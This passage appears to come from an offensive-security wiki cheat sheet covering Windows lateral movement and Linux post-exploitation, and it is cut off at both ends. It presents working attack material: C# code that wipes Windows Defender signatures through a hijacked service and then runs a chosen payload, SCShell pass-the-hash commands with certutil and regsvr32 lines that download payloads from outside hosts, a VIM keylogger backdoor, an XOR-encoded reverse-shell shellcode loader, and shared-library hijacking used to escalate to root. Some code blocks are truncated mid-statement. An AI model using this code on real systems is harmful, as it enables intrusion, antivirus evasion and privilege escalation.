            Marshal.PtrToStructure(ptr, qsc);&lt;br /&gt;
            String binPathOrig = qsc.lpBinaryPathName;&lt;br /&gt;
            // Pass 1: Disable Defender signatures&lt;br /&gt;
            String defBypass = &amp;quot;\&amp;quot;C:\\Program Files\\Windows Defender\\MpCmdRun.exe\&amp;quot; -RemoveDefinitions -All&amp;quot;;&lt;br /&gt;
             bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, defBypass, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{defBypass}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 1&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service, defender signatures should be wiped.&amp;quot;);&lt;br /&gt;
            // Pass 2: Run the chosen binary&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, args[2], null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{args[2]}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 2&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service. Check for execution!&amp;quot;);&lt;br /&gt;
            // Pass 3: Restore original binPath&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, binPathOrig, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Restored service binary to &#039;{binPathOrig}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace lat&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // P/invoke for OpenSCManagerW&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        // P/invoke for OpenService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        // P/invoke for ChangeServiceConfig&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        // P/invoke for StartService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Initial proof of concept to authenticate&lt;br /&gt;
            String target = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);&lt;br /&gt;
            // Code to call OpenService&lt;br /&gt;
            string ServiceName = &amp;quot;SensorService&amp;quot;;&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);&lt;br /&gt;
            // Code to call ChangeServiceConfig&lt;br /&gt;
            string payload = &amp;quot;notepad.exe&amp;quot;;&lt;br /&gt;
            bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);&lt;br /&gt;
            // Code to call StartService&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Trigger payload using fileless lateral movement ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have write permission on a target, you can copy payload to target and trigger it with fileless lateral movement.&lt;br /&gt;
# Copy payload to target&lt;br /&gt;
copy proc_hol.exe \\dc02\c$\windows\tasks\proc_hol.exe&lt;br /&gt;
# Now trigger it with fileless lateral movement&lt;br /&gt;
Lat.exe dc02 SensorService “C:\windows\tasks\proc_hol.exe”&lt;br /&gt;
# You can also try to trigger the payload with psexec&lt;br /&gt;
.\psexec \\dc02 -d &amp;quot;C:\windows\tasks\proc_hol.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ScShell ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Mr-Un1k0d3r/SCShell https://github.com/Mr-Un1k0d3r/SCShell]&lt;br /&gt;
&lt;br /&gt;
&amp;quot;SCShell is a fileless lateral movement tool that relies on ChangeServiceConfigA to run commands. The beauty of this tool is that it does not perform authentication against SMB. Everything is performed over DCERPC.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have obtained a hash for a user that can authenticate against target, run the command&lt;br /&gt;
python3 scshell.py corp1/dave@192.168.218.6 -service-name lfsvc -hashes :2892d26cdf84d7a70e2eb3b9f05c425e&lt;br /&gt;
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation&lt;br /&gt;
[*] Command need to use FULL path. No command output.&lt;br /&gt;
SCShell&amp;gt;C:\windows\system32\cmd.exe /c certutil -urlcache -split -f &amp;quot;http://192.168.45.162/bin.exe&amp;quot; C:\windows\tasks\bin.exe&lt;br /&gt;
# The command above will connect to target 192.168.218.6 and use the lfsvc to execute commands.&lt;br /&gt;
# The SCShell command will download meterpreter payload to windows\tasks and we can simply execute it with&lt;br /&gt;
SVShell&amp;gt;C:\windows\tasks\bin.exe&lt;br /&gt;
# Usage for .exe&lt;br /&gt;
SCShell.exe target service payload domain username password&lt;br /&gt;
# Example remote code exec&lt;br /&gt;
# I recommend using C:\windows\system32\cmd.exe /c to make sure to payload will not be killed once the service stop. You NEED to use the full path.&lt;br /&gt;
SCShell.exe 192.168.197.131 XblAuthManager &amp;quot;C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll&amp;quot; . administrastor Password&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Linux Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Stealthy VIM Backdoors&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Directly modifying &amp;lt;code&amp;gt; ​.vimrc&amp;lt;/code&amp;gt;​  is not stealthy.&lt;br /&gt;
&lt;br /&gt;
* To source a shell script:  ​&amp;lt;code&amp;gt;!source /path/to/script&amp;lt;/code&amp;gt;​ &lt;br /&gt;
&lt;br /&gt;
* To import another VIM config:  &amp;lt;code&amp;gt;​:source /path/to/vim-config​ &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stealthier approach: Use the  &amp;lt;code&amp;gt;​~/.vim/plugin​ &amp;lt;/code&amp;gt; directory. VIM auto-loads all &amp;lt;code&amp;gt; ​.vim​ &amp;lt;/code&amp;gt; files from this directory.&lt;br /&gt;
&lt;br /&gt;
=== VIM Backdoor keylogger ===&lt;br /&gt;
&lt;br /&gt;
Leveraging VIM&#039;s  ​&amp;lt;code&amp;gt;.vimrc&amp;lt;/code&amp;gt;​  configuration files, it&#039;s possible to set up autocommands that trigger actions in VIM. One such use-case is creating a basic keylogger to monitor changes a user makes in a file via VIM.&lt;br /&gt;
&lt;br /&gt;
Insert this at the end of &amp;lt;code&amp;gt;vimrc&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
:if $USER == &amp;quot;root&amp;quot;&lt;br /&gt;
:autocmd BufWritePost * :silent :w! &amp;gt;&amp;gt; /tmp/hackedfromvim.txt&lt;br /&gt;
:endif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*  ​BufWritePost​ : Trigger event after a buffer is written.&lt;br /&gt;
&lt;br /&gt;
*  ​*​ : Action applies to all edited files.&lt;br /&gt;
&lt;br /&gt;
*  ​:silent​ : Suppress debug output.&lt;br /&gt;
&lt;br /&gt;
*  ​:w!​ : Forcefully save the buffer contents.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;gt;&amp;gt; /tmp/hackedfromvim.txt​ : Append content changes to the specified log file.&lt;br /&gt;
&lt;br /&gt;
=== Linux Shellcode Loader ===&lt;br /&gt;
&lt;br /&gt;
==== Simple Shellcode Loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
// XOR-encoded &#039;linux/x64/shell_reverse_tcp&#039; payload (key: 0xfa)&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x90\xD3\xA2\x63\x90\xF8\xA5\x90\xFB\xA4\xF5\xFF\xB2\x6D\xB2\x43\xF8\xFA\xFA\xAA\x3A\x52\xCB\xB9\xAB\xB2\x73\x1C\x90\xEA\xA0\x90\xD0\xA2\xF5\xFF\x90\xF9\xA4\xB2\x05\x34\x90\xDB\xA2\xF5\xFF\x8F\x0C\x90\xC1\xA2\x63\xB2\x41\xD5\x98\x93\x94\xD5\x89\x92\xFA\xA9\xB2\x73\x1D\xA8\xAD\xB2\x73\x1C\xF5\xFF\xFA&amp;quot;;&lt;br /&gt;
int main (int argc, char **argv)&lt;br /&gt;
{&lt;br /&gt;
        int key = 250;&lt;br /&gt;
        int buf_len = (int) sizeof(buf);&lt;br /&gt;
        // Decode the payload&lt;br /&gt;
        for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
==== Compile the shellcode loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.&lt;br /&gt;
&lt;br /&gt;
# If the above dont work, try this&lt;br /&gt;
gcc -o sh.elf sh.c -z execstack -static&lt;br /&gt;
upx --best --lzma -o shupx.elf ./sh.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Simple XOR Shellcode Encryption Cheatsheet ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Simple XOR Encrypt Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x6a\x39\x58\x0f\x05...&amp;quot;;  // Original Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                          // XOR Key&lt;br /&gt;
    int payload_length = (int) sizeof(buf);      // Length of Shellcode&lt;br /&gt;
    // XOR Encrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ gcc -o encoder.out encoder.c -z execstack&lt;br /&gt;
kali@kali:~$ ./encoder.out&lt;br /&gt;
\x20\x73\x12\x45\x4F\x02\xCF\x8A\x3E\x42\x02\x7B\xB5\x20\x76\x12\x45...\x20\x4B\x14\x4&lt;br /&gt;
5\x4F\x02\xCF\x8A\x32\x71\x02\xDD\x02\xF3\x48&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Execute XOR Decrypted Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x20\x73\x12\x45...&amp;quot;;  // XOR Encrypted Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                       // XOR Key&lt;br /&gt;
    int arraysize = (int) sizeof(buf);        // Length of Encrypted Shellcode&lt;br /&gt;
    // XOR Decrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Points&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* The shellcode is encrypted using XOR operation against a key (e.g., &#039;J&#039;).&lt;br /&gt;
&lt;br /&gt;
* The encrypted shellcode must be decrypted using the same XOR key before execution.&lt;br /&gt;
&lt;br /&gt;
* After decryption, the shellcode is cast to a function pointer and executed.&lt;br /&gt;
&lt;br /&gt;
=== Shared Libraries ===&lt;br /&gt;
&lt;br /&gt;
Linux uses a different program format than Windows. While Linux utilizes &#039;&#039;&#039;Executable and Linkable Format (ELF)&#039;&#039;&#039;, Windows uses the &#039;&#039;&#039;Portable Executable (PE)&#039;&#039;&#039; format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;ELF Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Executable_and_Linkable_Format Wikipedia]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;PE Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Portable_Executable Wikipedia]&lt;br /&gt;
&lt;br /&gt;
Despite their differences, both systems share code with other applications. Windows employs &#039;&#039;&#039;Dynamic-Link Library (DLL)&#039;&#039;&#039; files, whereas Linux uses &#039;&#039;&#039;Shared Libraries&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
When a Linux application requires a library, it searches for it in the following order:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RPATH&#039;&#039;&#039;: Directories within the application&#039;s RPATH value.&lt;br /&gt;
[https://en.wikipedia.org/wiki/Rpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;LD_LIBRARY_PATH&#039;&#039;&#039;: Directories specified in this environment variable.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RUNPATH&#039;&#039;&#039;: Directories in the application’s RUNPATH value.&lt;br /&gt;
[https://amir.rachum.com/blog/2016/09/17/shared-libraries/#rpath-and-runpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;/etc/ld.so.conf&#039;&#039;&#039;: Directories mentioned here.&lt;br /&gt;
[https://man7.org/linux/man-pages/man8/ldconfig.8.html Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System Library Directories&#039;&#039;&#039;: &amp;lt;code&amp;gt; ​/lib​ ,  ​/lib64​ ,  ​/usr/lib​ ,  ​/usr/lib64​ ,  ​/usr/local/lib​ ,  ​/usr/local/lib64&amp;lt;/code&amp;gt;​ , and more.&lt;br /&gt;
&lt;br /&gt;
Because of this predefined search sequence, it&#039;s possible to place or hijack shared libraries to control an application&#039;s behavior.&lt;br /&gt;
&lt;br /&gt;
==== Hijacking Shared Library via LD_LIBRARY_PATH ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Writing the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload file:&lt;br /&gt;
&lt;br /&gt;
 ​/home/offsec/ldlib/hax.c​ &lt;br /&gt;
&lt;br /&gt;
* Include headers:&lt;br /&gt;
&lt;br /&gt;
* Define the constructor function:&lt;br /&gt;
&lt;br /&gt;
* Function payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include  // for setuid/setgid&lt;br /&gt;
// This function will be executed automatically when the shared library is loaded.&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
void runmahpayload() {&lt;br /&gt;
    // Elevate privileges to root user.&lt;br /&gt;
    setuid(0); // Set the effective user ID to root.&lt;br /&gt;
    setgid(0); // Set the effective group ID to root.&lt;br /&gt;
    // Print a message to indicate the DLL hijacking is in progress.&lt;br /&gt;
    printf(&amp;quot;DLL HIJACKING IN PROGRESS \n&amp;quot;);&lt;br /&gt;
    // Execute the system command to create a file in /tmp called &amp;quot;haxso.txt.&amp;quot;&lt;br /&gt;
    // This can be used as an indicator that the malicious code was executed.&lt;br /&gt;
    system(&amp;quot;touch /tmp/haxso.txt&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Compiling the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Compile shared library object file:&lt;br /&gt;
&lt;br /&gt;
* Compile the finished shared library file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -o libhax.so hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Identifying the Target Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Determine libraries used by a binary, e.g.,  ​top​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ldd /usr/bin/top&lt;br /&gt;
linux-vdso.so.1 (0x00007ffd135c5000)&lt;br /&gt;
libprocps.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libprocps.so.6 (0x00007ff5ab935000)&lt;br /&gt;
libtinfo.so.5 =&amp;gt; /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007ff5ab70b000)&lt;br /&gt;
libdl.so.2 =&amp;gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ff5ab507000)&lt;br /&gt;
libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff5ab116000)&lt;br /&gt;
libsystemd.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libsystemd.so.0 (0x00007ff5aae92000)&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2 (0x00007ff5abd9b000)&lt;br /&gt;
librt.so.1 =&amp;gt; /lib/x86_64-linux-gnu/librt.so.1 (0x00007ff5aac8a000)&lt;br /&gt;
liblzma.so.5 =&amp;gt; /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ff5aaa64000)&lt;br /&gt;
liblz4.so.1 =&amp;gt; /usr/lib/x86_64-linux-gnu/liblz4.so.1 (0x00007ff5aa848000)&lt;br /&gt;
libgcrypt.so.20 =&amp;gt; /lib/x86_64-linux-gnu/libgcrypt.so.20 (0x00007ff5aa52c000)&lt;br /&gt;
libpthread.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ff5aa30d000)&lt;br /&gt;
libgpg-error.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007ff5aa0f8000)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We will use the bottom library. This is likely to be loaded by the application but not likely to be called unless the program encounters an error therefore this shouldn’t prevent normal use of the application.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Preparing for Exploitation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Set the environment variable:&lt;br /&gt;
&lt;br /&gt;
* Copy the malicious library to hijack a target:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
cp libhax.so libgpg-error.so.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Identifying Missing Symbols:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract symbols associated with the hijacked library:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print &amp;quot;int&amp;quot;,$8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Add the resulting symbols to your source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
int gpgrt_onclose;&lt;br /&gt;
int _gpgrt_putc_overflow;&lt;br /&gt;
int gpgrt_feof_unlocked;&lt;br /&gt;
int gpgrt_vbsprintf;&lt;br /&gt;
int gpgrt_ungetc;&lt;br /&gt;
---REST OF THE CODE---&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We encountered an error stating we&#039;re missing the symbol &amp;quot;gpgrt_lock_lock&amp;quot; with version GPG_ERROR_1.0. Before our library&#039;s initial function could run, the program identified that certain expected symbols were absent. This implies that our fake library doesn&#039;t have all the required components that the original library has. To fix this, we just need to add placeholders for these missing components, since the program isn&#039;t checking their functionality, just their presence. We can also use the &amp;quot;readelf&amp;quot; tool with the &amp;quot;-s&amp;quot; option to check what components the original library contains.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Overcoming Version Errors:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract just symbol names:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print $8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create a symbol map file, e.g.,  ​gpg.map​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
GPG_ERROR_1.0 {    &lt;br /&gt;
gpgrt_onclose;    &lt;br /&gt;
_gpgrt_putc_overflow;    &lt;br /&gt;
...&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Recompile using the symbol map:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -Wl,--version-script gpg.map -o libgpgerror.so.0 hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Export environment varialbe&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Run the application&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
top&lt;br /&gt;
DLL HIJACKING IN PROGRESS&lt;br /&gt;
top - 14:55:15 up 9 days, 4:35, 2 users, load average: 0.01, 0.01, 0.00 Tasks: 164 total, 1 running, 92 sleeping, 0 stopped, 0 zombie ...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Look for the file our library was supposed to modify in /tmp.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-rw-r-- 1 offsec offsec 0 Jul 10 17:12 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Privilege Escalation &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a .bashrc alias for sudo to include LD_LIBRARY_PATH and use the malicious library example we created to escalate to root privileges.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Add the alias to the .bashrc:&lt;br /&gt;
&lt;br /&gt;
* Source the .bashrc to load the changes:&lt;br /&gt;
&lt;br /&gt;
* Now, run the top utility with sudo:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_LIBRARY_PATH=/home/offsec/ldlib&amp;quot;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
sudo top  &lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-r--r-- 1 root root 0 Aug 11 14:51 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check the /tmp directory for the haxso.txt file. This time it should be owned by the root user, indicating that the malicious library executed with elevated privileges.&lt;br /&gt;
&lt;br /&gt;
=== LD_PRELOAD Exploitation ===&lt;br /&gt;
&lt;br /&gt;
The environment variable LD_PRELOAD, when set on a system, instructs the dynamic linking loader to prioritize a specific shared library to load first. Consequently, the functions within this library take precedence over others that have an identical method signature from different libraries.&lt;br /&gt;
&lt;br /&gt;
==== Reverse shell ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Identifying Potential Applications&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Target applications that the victim frequently uses (e.g.,  ​cp  utility).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Tracing Library Calls&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ ltrace cp&lt;br /&gt;
strrchr(&amp;quot;cp&amp;quot;, &#039;/&#039;) = nil&lt;br /&gt;
...&lt;br /&gt;
geteuid() = 1000&lt;br /&gt;
getenv(&amp;quot;POSIXLY_CORRECT&amp;quot;) = nil&lt;br /&gt;
...&lt;br /&gt;
fflush(0x7f717f0c0680) = 0&lt;br /&gt;
fclose(0x7f717f0c0680) = 0&lt;br /&gt;
+++ exited (status 1) +++&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Creating a Malicious Shared Library&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;: Redefine the  ​geteuid​  function.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Code Sample&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#define _GNU_SOURCE&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
